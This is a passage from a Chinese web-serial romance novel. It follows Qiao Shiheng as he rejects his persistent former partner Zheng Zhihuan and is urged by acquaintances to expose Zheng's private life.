“那就好。”太芬有些不好意思，“我是怕你” “我知道。” 乔施军的手术不算大，太芬舍不得她的生意，乔施文将两个小孩送上校车后就到医院里去看护。而乔施珩，总要去上班。 他只跟陈新简要地说了乔施军的病情，没说其他的事情。陈新听了当即表示要提点礼品去看望。 “不用了，发现得及时，没有太大的问题。” “我可不是为你，你别忘了我跟太芬嫂子也有点交情。”陈新不禁感慨，“还好太芬嫂子现在生意做了起来，不然全都指望你，我看你也是难。” 他看乔施珩总是忧心忡忡，“你是怎么了？看着不开心。有什么困难，说出来听听，我能帮肯定帮。” “没什么。” “你满脸都写着有什么。”陈新低声：“是感情的事情吗？那个总是来找你的有钱人？” “不是。”乔施珩确实有段时间没看到盛逸则了，之前听说他麻烦不小，但基于两人的关系，他不好去问，也没想着去问。 “那就是郑先生了？” 乔施珩倒是没有否认，不过他也不想跟别人讨论他与郑先生之间的事情。尤其是那天晚上郑先生的话，给了他一定程度的冲击。因为乔施军的事情他这几天都没能细想他的话，也有一方面是他自己不想去想。甚至因为这样，特意将约见潘以佳的时间往后推了一段时间。 是缓冲，但也是逃避，他不可否认。 “说实话，像他那样的人，不太适合走这条路。两条路同时走的话，可能都走不了太远。你又何必想不开，总该朝前看，可不能朝后退啊。”陈新鼓励他：“你就应该多出去玩玩，认识的人多了，说不定就有合适的。”他拍了拍自己，“再说了，我觉得我也” “陈老板，再聊下去今天送不完了，前阵子被查积压了不少。”宋来冲进来喊他们。 陈新虽然对谈话被打断不满，但宋来说得也没错，只好放他们去送货。 可晚上乔施珩一回来，他就把人揪住，“走走走，吃火锅去。” “这个天吃火锅啊？”乔施珩婉拒：“我要先去医院看一下我哥，他快出院了，出院前还要再做一遍身体检查。” 陈新没再坚持，“正好，我送你去，我也去看看他。” 乔施珩本来还想拒绝，但陈新说自己本来就该去看他，乔施珩拧不过他，只好跟他一起去了医院。 陈新在路上停下来买了不少水果，乔施文接过水果将他们迎进病房，乔施军恢复得不错，但不怎么想说话。陈新搭了几句没搭上也觉得尴尬，刚好手机响了，他就出去接了。 乔施军这才问乔施珩：“他跟你什么关系？” 一边的乔施文也凑过来：“对啊，哥。他也老大不小不结婚，相亲也不相，是不是也是……” 乔施珩知道陈新的取向，陈新确实也对他很照顾，他不知道陈新到底有没有这种想法，总也不好误会别人，或许陈新就只是个热心肠的人呢？ “别这么猜测，会对别人造成不好的影响。”乔施珩还是隐瞒了陈新的取向，“再说了，你们也不能只要看到我跟男人在一起，就觉得对方有问题。” “也是，咱们这是不是草木皆兵？”乔施文拍拍乔施军的病床，“哥，咱们以后可不能戴有色眼镜看二哥跟二哥的朋友，听到没有？” 从医院出来，陈新驱车把他送回家。 “你哥家的两个孩子呢？暑假补课吗？” “补了一个月，现在放假等开学，在家里没人带，嫂子把他们带去摊位了。” “也行，孩子也大了点，好带了。”陈新打开雨刮器：“下雨了，说是过几天有台风。” 乔施珩没注意天气预报。 到了地方，陈新停好车，在车里找了找：“没伞。” “没事，我跑回去就行了。” “那我也要备一把伞，再说了，这不就是超市，买两把。” 他们跑到王圆家的超市，王圆正守在柜台前看电视，看到他很惊讶：“小乔哥？陈哥？你们怎么来了？” “我们下班路过。”陈新问她：“你爸妈现在没事了吧？” “没事了，福大命大！”王圆抱起两个小西瓜一人给他们塞了一个，“请你们的，这事儿值得请。” “不用了，外面下雨也不好拿。”乔施珩拒绝。 “对了，小乔哥，大乔哥没事吧？” “没事，做了个小手术已经好了。” “那就好。” 从超市出来，陈新坚持要送他几步路，乔施珩想着也不远，就没再跟他推脱来推脱去。 “下次就该把她们家的货分给你送，这样你送完就能回家。” 乔施珩笑：“那车怎么办？不是规定车当天必须还回仓库吗？” “我老陈是那么小气的人吗？车你就开着。” “违反公司制度要罚款，你忘了？” “规矩都是我说了算，我说不罚谁敢罚。” 反正也是闲聊，乔施珩想起来：“我就见过另外两个老板一两次，他们不常来吗？” “咱们几个人一共有四个点，他们看别的点，这个点就是我主要负责。” “分工合作啊，这也挺好的。” 乔施珩说到这里，陈新却是停下了脚步。 在他们前方，乔施珩家门前，郑祉桓没有打伞，就那么靠在门上淋雨。他站得很随意，重量倾斜在左腿上，头靠在门上，看向的方向就是这个路口。 “是郑先生吗？”陈新问。 乔施珩看了看，不想让陈新掺和进来，“你先回去吧。” “你看着不高兴都是因为他？你们不是分开了吗？” “你别管了，我也不好解释。” “什么不管，一次两次来你家里，是不是纠缠你呢？”陈新不理会乔施珩的阻拦，径直往前走去。 直到他走到跟前，郑祉桓还是那个样子靠着，目光也不在他的身上，而在他身后的乔施珩身上。 “郑先生，我是小乔的朋友，我想我有必要提醒你，你们已经分开了，你就不要总是来纠缠他，他也有自己的生活。” 陈新虽然生气，但言语没有很过分，确实是在提醒。 可郑祉桓却并不友好，他甚至都没有理会陈新的这句话，仍然看向企图阻止陈新的乔施珩。 “陈哥，算了，你先回去，我自己能解决。” 陈新见郑祉桓当他透明，也就不太客气，“你是位有头有脸的人物，我相信你也不想闹出一些对你名声不好的事情来，你这样的行为再持续就叫作骚扰。” 郑祉桓眉头动了动，他似乎不觉得自己像只落汤鸡很狼狈，仍然懒懒散散，“人应该专注自身，少管闲事。” “这不是闲事！”陈新强调：“小乔是我的员工，我是他的老板！” 郑祉桓站直了身体，抬脚走向陈新，在他的伞外停下。他微微弯腰从伞下看向陈新，轻描淡写，“我是他男人。” 陈新看懂了他的眼神，其中充斥着嘲笑与不屑，还有几分漫不经心。那瞬间他大脑充血，本能地冲动，却被出现在他们两人之间的乔施珩隔开。 乔施珩在他的伞下，却是背对着他，面对着郑祉桓。 “郑先生，我上次就跟你说了，以后不许来我家找我，你食言了。” “我没有答应，何来食言？”他看着伞下的两人，终于注意到从他脸上滑落的那些雨水，此刻，他竟然笑了，“乔施珩，你最好，现在就让他滚。” 陈新还欲上前，被乔施珩拦住了，“陈哥，我的事情我自己解决，你别管了。” 他的声音冷下来，陈新就真的没再动了，他犹豫了一下，最终决定让乔施珩自己解决。“我在车里等你，你结束后和我说一声，我就走。” 等他走了，乔施珩也顾不上自己扔掉的伞了。 “我说了，让你不要再来我家找我，我应该要说几次，你才能听懂？”乔施珩不再忍耐，“我告诉你了，我放弃了，我不想再跟你一起，也不会再回去做你的司机了，我们不会一辈子都绑在一起这样的话，你要我说几次？” “你要我说几次？” 郑祉桓似乎被他的顽固刺激，他的声音也很大，但掩盖在雨声中，就小了很多。 “我不是说了，我们交往吗？是因为陈新？盛逸则？还是那个冯昭？”他逼近乔施珩，“你以为这些人就是好人吗？他们是真的爱你吗？我从不认为你会选择这些人！” “我再说一次，我们交往。”他的声音有不可察觉的颤抖，和哀求，“好吗？” “交往？”乔施珩冷笑，“郑祉桓，你知道什么是爱吗？你有爱人的能力吗？” “你刚刚说的每一个人，你看不上的每个人，他们都比你知道什么是爱，什么是尊重，什么叫分寸，他们都比你会爱人，你凭什么就认为他们不是好人？” “也凭什么认为，我不会选他们。” 郑祉桓看着他，“ 你不是爱我吗？” 他的问话很犹疑，带着极大的不确定性及试探性，“你不是……爱我吗？” 乔施珩的心跳漏了两拍。 “我或许不会爱人，我或许不知道什么是爱。”郑祉桓脸上的表情变化，像是无力地笑，又像是要哭，“可至少……” “我见过爱。” “我会学。” 乔施珩往后退了两步，雨水淹没了他的眼眸，他所有的话都哽住了。好半晌，他才从一种仿若真空的状态里抽离。 “我已经不想要了。” 错开他的时候，乔施珩还是说：“以后别再来找我，这是我最后一次跟你这么说。” “乔施珩！” “到底为什么？我不够诚心？还是不够诚意？还是你真的想要选择别人？或者已经选了别人？”他扯住乔施珩，按住他的肩膀，低头看他，“我真的能做得都做了，你想要什么？你想要我怎么做？” “你想要我怎么做？” “我想要你离我远一点，别再来打扰我的生活。”面对他的爆发，乔施珩很平淡，“已经很糟糕了，我大哥在医院里，小文她就要去很远的地方Z教了，算我求你了，离我远一点吧。” 郑祉桓抱住他，“是我在求你。” “郑祉桓，你别逼我。” 相同的话，如今却是相反的人在说。 郑祉桓放开他，往后退了几步。 “我说过，你不是我这样一无所有的普通人，至今为止，你在为了什么努力，你和我都知道。我相信，你也不想你所有的心血白费。” “适可而止，给你和我都留个体面的结局。” 郑祉桓听出了他的意思，“乔施珩，我也说过，我不会倒在任何人的脚下。” “或许是，你或许对任何人都设防。” “可你对我没有。” “我会是你，最大的绊脚石。” 郑祉桓抑制不住地笑起来，甚至笑弯了腰。这笑声混在雨水之中，变了音调，像哀号。 他笑着往后退。 “乔施珩，你知道吗？今天是我的生日。” “我确实不会倒在任何人脚下，如果是你的话，那没关系。” “欢迎去JB我，我的绊脚石。” 第57章 你这个真的不算什么。…… 不知道是不是因为淋了雨的缘故，乔施珩发烧了。 乔施军抱着保温杯晃过来：“真是好了这个，病了那个。” “对啊，我是照顾完这个，照顾那个。”乔施文把冲好的感冒药递给他。 乔施珩不想说话，也不想喝药。 等到乔施军走了，乔施文在床边坐下来，“说说吧，到底怎么回事？” 但是好半天，她都没有等到乔施珩说话。 “是郑先生的事情吗？他又来找你了？你们之间到底发生什么事情了？” 最后，乔施文搭话失败。 “我找他去！”乔施军把保温杯放到茶几上，气呼呼就要出门，被乔施文抓住。 “别添乱了大哥。” “这怎么叫添乱？他有权有势了不起？我G他去！” “行了，告什么告，前阵子那么大的事情他都没事，你G得了吗？”乔施文想了想，“这个事情还是得二哥自己想通。” 她不明白：“这有什么想不通的，我二哥也太脆弱了。” 乔施珩已经过了脆弱的时候，也不认为自己脆弱，他只是觉得很烦躁，好像什么也不想干，用通俗一点的话来说，他觉得很郁闷，有点抑郁。要说郑祉桓这个人也奇怪，能堵上门找他，却一点儿也不善用手机这个东西。 乔施珩的未读消息都是别人的，他一一回复以后，最终目光落在了有阵子没联系的郑祉裕的头像上。 但他还是先去见了潘以佳。 潘以佳换了个休闲些的服饰，看着比她平时要年轻很多，她点了些菜后把手机还给了乔施珩。 “你脸色看着有点苍白，发烧好了吗？” “你怎么知道我发烧了？”乔施珩又点了几道菜。 “回家吃饭的时候遇到了你妹妹，我打听了一下你，她说你生病了，本来想去看你，但感觉你应该不是很想见我。”潘以佳看着他，倒是没有什么八卦的样子，“现在缓过来了吗？能接受这件事被别人知道的事实了吗？” 她这样的状态倒是很能让乔施珩放松，可乔施珩还是有些犹豫地问她：“你不会觉得我……不太好吗？” 潘以佳无奈一笑，“现在什么年代了，你应该放开一些，再过两代，观念就可以放开了。” 乔施珩当然知道现在社会开放了，可事情发生在他自己的身上，他仍然还是会有些介意。也可能他本身还不够强大，这一年还不足够让他成长，他应该是□□走出了乌龟壳，精神还没完全走出去。 “其实我对你和郑先生之间的这种关系并没有感到很惊讶。” “为什么这么说？” “你记得我跟你说过，因为工作的关系我也和郑先生打过一点点交道，我觉得他那个人很……”潘以佳想了想，“不好形容，就是感觉上跟其他Ld不太一样，也有可能是因为他年轻的原因，至少在他这个层面上，他算是最年轻的一位了。” “其实前阵子的那件事，我以为他是脱不开关系的，毕竟上去的有些跟他关系还挺密切的。”潘以佳露出一个意想不到的表情，“没想到他居然没事。” “你知道吗？”她又说：“他的LD，跟娱乐圈里不少男星都有些牵扯，所以很显然，那个圈子里应该是男女不忌的。” 乔施珩当然知道，林木不就是最好的例子，他有段时间没听到林木的消息了，也可能从此都听不到他的消息了。 “你这样的长相可不比那些男星差，而且我听闻你跟他那么多年，实在诧异。” 服务员上了菜，潘以佳也不客气，“所以说我对你们之间的关系并不感到诧异，以我接触到的一些圈子里的新闻，那都震碎三观，你这个真的不算什么。” “而且我真的认为你是个不错的人，所以你没必要因为这件事不开心。”潘以佳没有再就郑先生跟他聊下去。她换了个话题，“你妹妹以后有什么打算？” 乔施文要去Z教这件事还没几个人知道，但是这也不是什么值得隐瞒的事情，乔施珩就如实告诉了她。 “是吗？”潘以佳诧异：“她竟然做了这样的选择吗？” “是。”乔施珩当初也惊讶，他当然舍不得她离开家，离开这座她从小就生活在这里的这座城市，但他支持她的做法。“我认为做一些有意义的事情，还是值得的。所以我支持她，支持她去探索更多，丰富一些阅历，磨一磨性子，长长见识，我都觉得可以。” “那是，再怎么样也能够成长。”潘以佳没隐瞒她的看法，“不过我确实没认为她会做这样的选择，我以为她是那种在你们捧着惯着下长大的孩子，吃不了太多苦。” “经历了一些事，人总会成长的。” 吃完饭出门的时候，乔施珩意外看到陈新站在路边打电话，看到乔施珩出来后，陈新匆匆跟那边说了什么，就走了过来。 潘以佳显然认识陈新，“这不是陈老板吗？这么巧啊，在这里看到你。” “潘大主持就别调侃我了，我是看到你朋友圈过来的。”陈新解释：“我刚好在南州大桥下，过来就十分钟。” 潘以佳吃饭的时候确实拍了一张乔施珩的照片发了朋友圈，还带了饭店的地点。 “那真是奇怪了，我发我和朋友吃饭的朋友圈，你来干什么？”她的目光在乔施珩跟他之间来回两趟，恍然大悟，“哦，那我就不打扰了，我告辞，我告辞。” 上车后，陈新问他：“你病都好了？” “好了，退烧了。” “再休息几天吧，仓库那边我安排了别人，你就别管了。” 乔施珩没跟他推脱，他确实需要几天理一理自己的心绪。 陈新那晚等到郑祉桓离开，他又去了乔施珩家里，乔施珩已经进了屋里，他就没有打扰，离开了。 结果第二天就接到他的消息说他发烧了，要请假。 “小乔，有些话我本来不想说，但你跟他确实是不合适，我建议你还是趁早跟他断干净。”他也明白，“但是像他这样的人物要想纠缠你，有的是办法和手段，你也应该小心一点。” 乔施珩莫名想到那天晚上，他威胁郑祉桓的事情来。他确实从没想过跟他鱼死网破，但他也觉得人被逼到一定程度，是什么都可以做出来的。 但感觉是感觉，现实是现实。 他也不认为自己有那个胆量与气魄。 他一直是个胆小鬼。 在他总认为自己已经成长的时候，又跌回原地。 乔施珩在家躺着也是躺着，就跟着太芬一起去了摊位上。令他意想不到的却是生意特别好，总是有年轻人来光顾，甚至连上午都没有闲着。 “还是你的料好，自己配的就是不一样，不过有时候我也会多放了点盐，少放了点辣椒。”太芬指了指迷你电子秤，“有了这个就准多了。” 乔施珩不敢相信，“我自己随便搭配的，竟然这么好卖。” “要我说，再努努力，都能开分店了。” 乔施珩看着门框上那简单的串串两个字，“上次不是说起个名字吗？” “那个当时忘了就没用得上，你要不再起个呢。” “小乔串串？”乔施珩笑，“听起来就好吃。” “那你联系做广告牌的，给咱们换一个。” 乔施珩反正没事，帮太芬忙到下午，备足了货就联系人换了牌匾。 到了晚上他看了看店里的收入，终于彻底放下心来。 于是第二天他跑去蒙久的店里跟他喝酒，却扑了个空，店员说他去了天市，那肯定是去看女朋友去了。 这几天他脑海里一直盘着一个念头，而这个念头终于在看到家里摊位上的生意时，有了落地的趋势。 在街上乱晃的时候，他的手机响了起来，拿起来看到是郑先生的号码后，他没接，但很快对面就挂断了电话。他看着那号码很久，却是拨通了另一个人的号码。 “郑总，前几天你约我吃饭的时间，能提前吗？” 郑祉裕事情没结束，让他到他工作地方的楼下等他。 乔施珩看了看地址，不算远，就坐了地铁过去。 他还没有见过这么豪华的工作地点，进入大楼后，四周金碧辉煌，一想到这么一栋楼都是裕华科技的，他不禁感叹。郑先生工作的地方也是大楼，但不可能装修很豪华，相对来说会比较朴素。 而这里就连待客区，都像车站的候车区。 前台给他端来茶水，让他等一等。 但这杯茶还没凉透，郑祉裕就下了楼来。 “没等很长时间吧？”他看了看时间，“还好，走吧。” “今天森森课时比较满，我们不用带他了。” 郑祉裕将他带到一家西餐厅，乔施珩没怎么吃过西餐，他不太会用刀叉，用起来有些别扭，郑祉裕就叫来服务员拿来筷子。 “没事，这里只有我，没别人看你。” 乔施珩看了看四周，确实没人，只有他们。 “怎么想起来提前时间？没上班吗？” “这几天请假了。”乔施珩轻飘飘回答。 “休假吗？” “没，发烧，已经好了，但还是多请了几天假。” “这么巧，你也生病了。” 第58章 “你也有今天。” 还有谁生病了，郑祉裕不说，乔施珩也听得出来，但他选择没有听到。 见他沉默，郑祉裕也没有提这个事情。 “其实，他这么挽留你，你却仍然拒绝了他，倒是有些出乎我意料。”郑祉裕坦言，“在我看来，你应该是个心软的人，我不觉得你会有勇气一而再再而三拒绝他。” “不过我也明白，人心不是一天冷掉的。” 乔施珩没说什么，他已经不想就情感这件事再做任何剖析了。虽然是他提前了时间，但这顿饭是郑祉裕先约的，他只是刚好没事过来赴约罢了。可是他和郑祉裕之间，除了郑祉桓就没别的可说了。 乔施珩对郑祉裕的生活不太了解，也没必要了解，所以即便想找其他话题，也不知道说什么。 只是两人吃完饭准备离开时，郑祉裕似乎是遇到了熟人，对方跟他握手寒暄，目光却停留在乔施珩身上，他很直白：“新换的小男友？长得不错啊。” 乔施珩很尴尬，倒是郑祉裕面不改色。 但是在车上的时候郑祉裕还是主动解释：“我跟你说过吧，我年轻的时候也是什么都玩儿得主。”末了，他又补了一句：“现在也没好到哪里去。” 还挺清醒。 乔施珩没有评论别人私生活的兴趣，就没搭话。 反倒是郑祉裕问他：“既然放弃了老二，有想过去开始一段新的感情生活吗？或许接触新的人，才会慢慢忘掉旧人。” “没想过。” 郑祉裕失笑：“这么干脆啊？”他鼓励乔施珩：“其实可以试试，我认为效果不错。” 乔施珩自认他做不到。 虽然郑祉裕鼓励他开启新的感情生活，但在快到目的地的时候还是替郑祉桓说了好话。 无非就是那些乔施珩听过的，明白的那些话。 “是老二的车。”郑祉裕疑惑：“他怎么在这里？” 他把车停在这辆车的车后面，乔施珩却迟迟没有下车。郑祉裕看了他一眼，明白：“确实是挺烦的，我劝他回家。” 郑祉裕绕到他的车门前，敲了敲车窗，里面的郑祉桓扫了他一眼，把车窗降下了一条缝。 “你这招我用过了，没用。” 郑祉桓问他：“你怎么在这里？” “你要找的人在我车里。”他眼见郑祉桓要急，忙说：“别误会，纯粹吃个饭。” “吃什么饭？” “西餐。” “……” 郑祉裕闷声笑，“你也有今天。” “五十步笑百步。” “是，我没有资格笑你。不过，我倒是认为把人逼得太紧，会适得其反。他现在讨厌你，你还非要贴上来，不是找不痛快吗？” “你一个失败者，向我传授你的失败经验？” “……” “但是话说回来，你不是病了吗？” 郑祉桓没解释，他推开车门下来，走到郑祉裕的车前，看着副驾驶上的乔施珩，却没说话。 乔施珩在车里坐了半天，知道这么僵持也没有办法。 下车后，郑祉桓却一反常态，没说什么显得比较激进的话语，他只是问：“去吃饭了？” 乔施珩点点头。 郑祉裕站在一边看着，带着点意味深长的笑容，一点儿也不掩饰自己看郑祉桓笑话的样子。 “好……好吃吗？”郑祉桓没来由地说：“我也没怎么吃过西餐。” 他吃没吃过西餐，乔施珩确实知道，他和自己一样，真的没怎么接触过这些，即使是回到了云海省以后，他去的也都是正儿八经的饭店，或者料理店。 面对他这很明显的搭话，乔施珩没接，他只是跟郑祉裕说：“郑总，我就先回家了。” 郑祉桓显然不想他走，欲言又止，反而是郑祉裕说：“好，回去吧。” 乔施珩没走几步，就听到郑祉裕的声音：“我没记错的话，你下午不是还在吊水吗？” 郑祉桓的声音隐约，“死不了。” 乔施珩走过这条走过无数次的街道，脑海里盘旋不下的那个念头，反而愈发强烈起来。 于是他又多请了几天假。 陈新也不在意，很爽快地就给了他假。 他不去上班，乔施军好奇，乔施文也好奇，一大早就揪着他问。 “多休息几天，没有别的原因。” “我以为你不想干了呢。”乔施文开玩笑：“要不你和我一起去Z教？” “我没那个文凭，做不了。” “那你就去建设大西……哦不对，你已经建设好多年了。” 轩轩和婷婷快开学了，乔施文带他们去买东西。 乔施珩就去太芬的店里帮忙，新换的牌匾做得很圆润，看着又可爱又喜庆。 “阿珩，你是不是还在因为郑先生的那个事情不高兴呢？感觉你还是有些心事重重的样子。” “没有。” “你就是有你也不说。” 乔施珩只是笑了笑，谁能隔三岔五被人堵门而觉得高兴呢。 “老板，来十串大鱿鱼。” 乔施珩听着声音耳熟，果然，冯昭戴着个鸭舌帽，正冲他们笑。 “小冯，你怎么来了？”太芬很热心，“还要别的吗？” “ 不要，别忙了嫂子，我开玩笑的。”冯昭指了指乔施珩，“我找小乔哥。” 乔施珩把手洗干净，跟着他顺着街道漫无目的地走。 “乔施文告诉我地址，我就过来了。” “有什么事吗？” “没事就不能找你啊。”冯昭问他：“你跟郑先生的事情怎么说？结束了吗？” “早就结束了。” 冯昭看他的样子就知道不算结束。 “我去看我叔叔了，我问了他郑先生的事情，他没跟我说很多，只是让我离他远一点，说他不是好人。”冯昭摇头，“这年头，就没几个好人。” 乔施珩想到他的叔叔，“你叔叔，还能出来吗？” “出不来了，按理是见不到他的，但是我舅舅也有事情要找他就把我也给带去了，他托了关系才能见十分钟。” “事情还没清楚吗？” “没，还在s理。” 话题似乎有些沉重了，冯昭无奈：“倒了我叔叔，我就倒霉了，前阵子被家里抓回家安排，把我一辈子都安排明白了。” “你本来就有皇位要继承，当然不能随心所欲。”乔施珩安慰他：“况且你还年轻，也不是说做不想做的事情就会做一辈子的。” “也是，而且我也跟你说过，我要做出一点成就来。”他终于妥协，“只是这样我就要离开这座城市了。” “去哪里？” “暂时还不知道，知道了我也不告诉你，等我抽空回来请你吃饭。” 乔施珩觉得他幼稚：“去哪里有什么值得隐瞒的吗？” “反正是很远的地方。” 乔施珩没再问他了。 倒是他犹犹豫豫，“我说我舅舅找舅妈的事情确实是真的，如果他不借助舅妈家的关系，他会解决不了他的麻烦。虽然他让我不要跟你说，但我想你也应该知道是受那件事情的牵扯。” 大家都心知肚明的事情，就不用多说了。 “你啊，我第一次见你，你就是跟现在差不多，哀哀戚戚的，看着可怜死了，过了这么久，你怎么还是这个样子。”他突然停下来，捧住乔施珩的脸，扯了扯他的嘴角，“你要笑啊，笑起来才好看。” 这个时候，旁边几个路过的女孩子对他们窃窃私语，还有个拿手机拍他们。 冯昭搂住乔施珩，对她们比了个耶的手势，“来来来，不白看，帮我们拍一张。” 他是个社牛，乔施珩却很不好意思。 所以那张照片上就是站着笔直比耶的冯昭搂着微微低着头，目光落在地面，带着几分难为情的乔施珩。 冯昭很满意这张照片，当即设为了壁纸。 “对了，我舅舅说想见你一面，他让我问一下你的意思。” 乔施珩想到他说的舅妈，“不合适吧？” “他找你有事，不知道是什么事情。”冯昭建议，“我看他每天都焦头烂额，要不然你见他一面？” 其实乔施珩是不想去见他的，但冯昭看起来确实担忧他的情况。 “他年纪大了，为了我外婆家尽心尽力的。”他忽然冒出一句：“对了，你不知道吧？他不是我亲舅舅，他是我外婆收养的，因为我外婆家里就我妈妈一个，他们想要男孩子打理家业，就收养了我舅舅。” 乔施珩又不经意地听到了一桩豪门秘闻。 冯昭算是就地找地方，他看中一家装修豪华的店，当场就定了地方，转手就给盛逸则打了电话，还炫耀自己敲定了这件事。 那边盛逸则连夸带哄，把他哄高兴了才挂了电话。 乔施珩的生活交友圈比较固定，他不回家吃饭只需要在家族群里说一声，乔施文再调侃他几句。倒是冯昭已经接了三通催他回家的电话，他无奈，“我爷爷最近病了，没办法，黏人，吃饭都要拉着我一起，等我走了，我看他怎么办。” 所以在盛逸则来之前，他就不得不走了。 乔施珩等了没多久，盛逸则就到了。 他看着有些憔悴，但还是显得贵气十足。 “有阵子没见了，还好吗？” “也没多久。” 寒暄了两句，盛逸则点了菜，顺便让乔施珩也点了几道。 “盛总，找我有事吗？” “有一点。” 盛逸则忽然掏出一个信封推给他。“你先看看，我想，照片里的人，你应该都不陌生。” 乔施珩打开信封。 里面是一沓照片。 照片里都是郑先生跟一些男男女女在一起的合照，有一起坐在车里的，也有一起吃饭的，一起交谈的…… 这些人他大多都认识，都是跟郑先生有关系的一些人。 但仅仅从照片上来看，倒是没有越矩之处。 只是其中有不少是和林木的，甚至还有和林木一起出现在机场的照片。 “这些是哪来的？”乔施珩很诧异，“你暗中跟踪他？” 盛逸则摇头，“我可没那么高瞻远瞩，这些东西是从对他有防心的人手里拿到的。” 也就是说，一直有人在暗中看着他？ 乔施珩问：“用这些，是想做什么？” “我猜你还不知道，你妹妹乔施文被牵扯进某校园的事情中并被曝光，其实并非偶然。如果不是他，你妹妹不会遭受网络暴力。” 第59章 “他根本不懂爱，他也根…… 乔施珩其实之前已经猜到一些了，并不是完全没有心理准备，所以他没说话。 反而是盛逸则又说：“不过这些人和他之间的关系也都被调查完成了，虽然不知道他是怎么脱身的，但显然这些东西没有对他构成威胁。” 乔施珩反而不明白了，“那你拿这些给我看，是想怎么样呢？” “如果这些没能对他构成威胁，那么你会有可能愿意站出来指控他吗？”盛逸则看起来还算轻松，像是无所谓，“毕竟我认为只有你与他的关系，是实实在在的。” 乔施珩气急了的时候确实是想过去JB他，可那又有什么用呢？ “这顶多算是私生活有问题，会对他造成很大的影响吗？”他对这方面确实不明白。 “没有违法违纪问题的话，确实说不上很大的影响。但你所说的这一条，一定会对他以后的路造成一定程度的影响，有可能他再也前进不了，又或许，他会倒退。” 乔施珩不明白，“你为什么，想这么做？” “在他的圈子里，对他和你的事情所知情的人不多，有些人顾忌他的背景，不敢轻易得罪他，所以这个恶人，我来做了。毕竟，我的生活因为他产生了翻天覆地的变化，不止我，很多人都是如此。” 乔施珩沉默了，他不知道郑先生的背景是不是他的父亲，他也仅仅知道他的父亲也是那个圈层的人。 “就拿你认识的人来说，你的妹妹遭受了严重的网络暴力，现在如果她在本市找工作，你认为好找吗？我想她做任何决定，都是无奈的。再说小昭，他本来可以做他的闲散公子再做几年，至少不用离开这座城市。可是现在，很多人的命运都发生了改变，包括我。” 乔施珩其实不想为郑祉桓辩解，但他只是不太赞同盛逸则的看法，“我很多事情都不太懂，但是有一点我有些疑问，如果那些倒下去的人真的堂堂正正，那么郑先生不管做什么，都不会对他们造成不好的影响啊。” “小乔，这世界上有几个堂堂正正的人？尤其是越往上去的圈层，独善其身都很难，更别提堂堂正正了。” 盛逸则似乎看出了他的犹豫，“你不忍心？” 乔施珩摇头，“我只是觉得没有必要，而且这件事情官方调查应该是不会出错的。” “你太天真了小乔。”盛逸则摇头，“这世界上就没有绝对公正的事情，就像没有绝对的公平，不过都是利益驱使罢了。” 可乔施珩只在很生气的时候想过，冷静下来的时候，他确实觉得没有必要。 “就算今日你我不站出来，也会有人想方设法扳倒他。”盛逸则点了点那些照片，“就算这是被调查完成的，但若是爆发到网络上，我想流言蜚语，就足够他喝一壶了。” 乔施珩想说什么，又不知道说什么。 “你对他还有感情。”盛逸则无奈，“你究竟喜欢他什么？他除了一副皮囊之外，还有其他可取之处吗？他冷漠，自私，为达目的不择手段，他想过爱你吗？又或者，他知道你爱他吗？” “他根本不懂爱，他也根本不值得。” 对啊，所以乔施珩放弃了呀。可他也不想站出来指责郑祉桓什么，而且，他也不想继续在这个漩涡里挣扎了。 吃了一顿没滋没味的饭，分开的时候，乔施珩问他：“是要结婚了吗？” 盛逸则久久没能回答他。 看得出来，他是有怨气的，但不是对乔施珩。 “如果不喜欢那位女生，也没到万不得已的地步，可以……”乔施珩说了一半，忽然觉得自己不该管这么多，这是别人的事情。 盛逸则将他送回家，到了熟悉的路口，他终于说：“我以为我会有机会，我也曾在这里等过你蛮多次。” 乔施珩不知道该说什么，但看盛逸则也确实无奈，他只好闷闷地说：“这就是所谓的有缘无分吧。” “不，是有小人作祟吧。”他说完，低低笑起来。 乔施珩跟他告别，但下了车没走两步，盛逸则追出来叫住了他。 他显然有些为难，但还算大方，“可以抱一下吗？”他说着，张开双臂。 乔施珩没矫情，虽说他们之间也没那么熟悉，自己也一直在刻意躲避他，可这个时候，他还是同样回以了大方。 短暂的拥抱后，盛逸则驱车走了。 乔施珩目送他的车离去，转头往家里走。 王圆家超市的门口，矮小的木制板凳上，郑祉桓正坐在那里抽烟，他身后的王圆看见乔施珩有些尴尬，没敢打招呼，只是笑了一下，就火速跑进了超市里，看不见影子了。 乔施珩倒是没觉得局促，经过郑祉桓身边的时候，他主动停了下来，面对他。 这次是他俯身看他。 郑祉桓叼着烟，仰头看着他，烟雾下，他微微眯着双眼，没说话，也没发疯。 乔施珩伸手抽出他嘴里的烟，扔进了门口的垃圾桶里。 郑祉桓主动说：“这里不是你家，也不是你家门口。” 乔施珩很难想象，他一个常年身居高位，已经奔四的人会蹲坐在一家小超市门口的小小板凳上。此刻风平浪静的郑先生应该还不知道即将到来的风暴。他也没有提醒他，他认为他有足够应对风暴的能力。 “以后，这里也不许来。” 郑祉桓有些诧异，但随即他又带上了笑容，“这么霸道啊。” 乔施珩没说什么，他转身往家里去了。 郑祉桓看着他离开的背影，伸手从一边的水果筐里拿了个橘子剥。 王圆从门里探出头来，“老板，小乔哥说让你以后也不许来。”她说着把两百块钞票还给他，“板凳费还给你。” 郑祉桓没接，“长期租赁。” “看在钱的分上，我好心提醒你。”王圆压低声音，“就刚刚那个拥抱小乔哥的男人，有一段时间老把车停在这个路口，你看他又高又帅还那么有钱，关键看着也年轻。”王圆打量了一下面前这个男人的后脑勺，再到他身上那件深色的夹克衫上，摇了摇头，“我看你可没什么竞争力。” “呵。”郑祉桓冷笑一声，他把橘子皮扔进垃圾桶，站起身来。 只到他胸口的王圆猛然感受到了压迫感，她忙往后退了两步，退到门里面。 “他已经失去了竞争资格。” 乔施珩回到家，乔施文正在跟乔施军滔滔不绝，茶几上摆着个文件夹，他走过去拿起来看看，是乔施文的Z教相关。 “通知下来了？什么时候走？” “三天后。” “一年内还要考到教师资格证啊？”乔施珩担忧，“难度大吗？” “你要相信小文，她这个脑子好使得很。”乔施军又叮嘱他，“明天，你带她去商场里买买衣服什么的。” “不用了，我衣服够多了，什么款式都有。”乔施文想了想，“不过去那边还是要穿简单一些，我带几套日常的就可以了。” “去看看吧，顺便买一些日常用品。” “日常用品到那边去买就行了。”乔施文脑子一转，“那不然哥你请我吃饭吧，我想吃大米饭配辣串串。” “你这不是说巧了。”乔施珩笑，“蒙久店里就主推这个。” 第二天他们去了蒙久的店里，蒙久热情招呼他们，他脱了身上的围裙，坐到桌前，给乔施珩递了瓶饮料。 “我之前去天市，我那个店装得差不多了，估计这阵子都得两头跑，累坏了。” 乔施文听乔施珩说了个大概，她问：“那你以后就一直在天市吗？” 